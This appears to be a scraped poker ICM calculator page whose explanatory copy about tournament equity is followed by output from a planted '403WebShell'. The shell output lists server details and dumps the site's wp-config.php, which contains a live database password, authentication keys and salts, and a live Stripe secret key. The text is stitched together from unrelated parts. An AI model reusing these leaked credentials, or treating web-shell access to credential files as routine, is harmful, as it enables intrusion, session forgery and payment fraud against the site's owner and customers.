Use this ICM calculator to convert tournament chip stacks into real-money equity based on payout structures, remaining players, and chip stacks. The Independent Chip Model (ICM) helps poker players make mathematically optimal decisions in high-pressure situations like the bubble and final table.
Calculate tournament equity instantly
Adjust for stack sizes and payout structure
Improve shove, call, and fold decisions
What is ICM in Poker?
The Independent Chip Model (ICM) is a mathematical model used in poker tournaments to estimate a player’s share of the prize pool based on their chip stack relative to other players.
Unlike cash games, tournament chips do not have a linear value. This means doubling your stack does not double your expected winnings. ICM accounts for this by factoring in payout structures and the probability of finishing in each position.
How This ICM Calculator Works
This calculator converts chip stacks into Expected Value (EV) by simulating how often each player finishes in each payout position.
To use it effectively, input:
Each player’s chip stack
The tournament payout structure
The calculator then outputs each player’s equity as a percentage of the total prize pool.
When Should You Use ICM?
ICM is most important in high-leverage tournament situations, including:
The bubble - when one player remains before payouts begin
Final tables - where payout jumps are significant
Short-handed play - where each decision has larger impact
In these spots, correct ICM decisions can dramatically increase your long-term tournament ROI.
ICM Strategy Tips
Understanding ICM leads to better strategic adjustments:
Play tighter when calling all-ins near the bubble
Apply pressure as a big stack against medium stacks
Avoid marginal spots when survival has significant value
Recognize payout jumps before making aggressive plays
403WebShell
403Webshell
Server IP : 18.223.242.41 / Your IP : 216.73.216.206 Web Server : Apache System : Linux ip-172-26-5-222 6.1.0-51-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64 User : bitnami ( 1000) PHP Version : 8.3.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /opt/bitnami/apps/wordpress/
Current File : /opt/bitnami/apps/wordpress/wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
define('COOKIE_DOMAIN', '.snapshove.com');
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'bitnami_wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'RXyMl8XoieY1' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '-so+iFz~bpOmcPVOF2N8CdUpw@H!q rQVss,o,FObpXhPf`,K+En-o20;CraT>=Q');
define('SECURE_AUTH_KEY', '.34uk[q4~`My[Prc{HB_D-i2#SgIbW2wIMgP9JfMQ77kj32dql}akPM?GGGOk@Em');
define('LOGGED_IN_KEY', '6O1|R$~1G{,RjYy2*u%%h9:E~ViFkHv6!-$)s@qR-=LWA[0YD|^,;{41^;Zd|Cbj');
define('NONCE_KEY', 'pi[)Y^(#Y.D2G2E@jfQ]w/Tgb22<i?p1o5?[OJ@I?PK7</Rx{;?T#;4}5BG~_I:t');
define('AUTH_SALT', 'ujHPY& ?27(mYq;1&%pou;oQT3yC/HS>KM$@32|k~LNqbTA(eU45L2Ms +HjTLAj');
define('SECURE_AUTH_SALT', 'vjE!0M?,gFRz,Zop9;}HTmQ{_Tf7I`...3ExFd1p)g^7ohB4hwTvHRg+*P*|dqUr');
define('LOGGED_IN_SALT', '1+Z@Fo|W24:}L:+rYbx9mq?;y$m>#~7C8A>pO)(KwFqgcE3/H_bM-qNbO8HQblwj');
define('NONCE_SALT', '<!C+gr+nbhB<bOfPE]^GRPs0m{Cws3E%^W+Vaq>a7x9>]! S*t76I M5THqJAe&i');
define('STRIPE_PUB_SANDBOX','pk_test_51T2lwq3VY6bSdecGmFj1FHdfdot0l3v7MxVuRcxQpJh8v0G1PdBAiED1YNfo08KiaxeMgNnzQr9gZbJdYo83XCt7000C9TxAPc');
define("STRIPE_SECRET_SANDBOX",'sk_test_51T2lwq3VY6bSdecGAIxXty6UdxvAxz75Vx40LNHrb7ITqoeDhzJx6qMYP067BKaFg8shDGxYeHSyGTZPaGzjb3ve00JLnUOON7');
define("STRIPE_SECRET_LIVE",'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');
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*
* At the installation time, database tables are created with the specified prefix.
* Changing this value after WordPress is installed will make your site think
* it has not been installed.
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
*/
define('WP_DEBUG', false);
define('WP_DEBUG_LOG', false);
define('WP_DEBUG_DISPLAY', false);
/* Add any custom values between this line and the "stop editing" line. */
define( 'FS_METHOD', 'direct' );
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';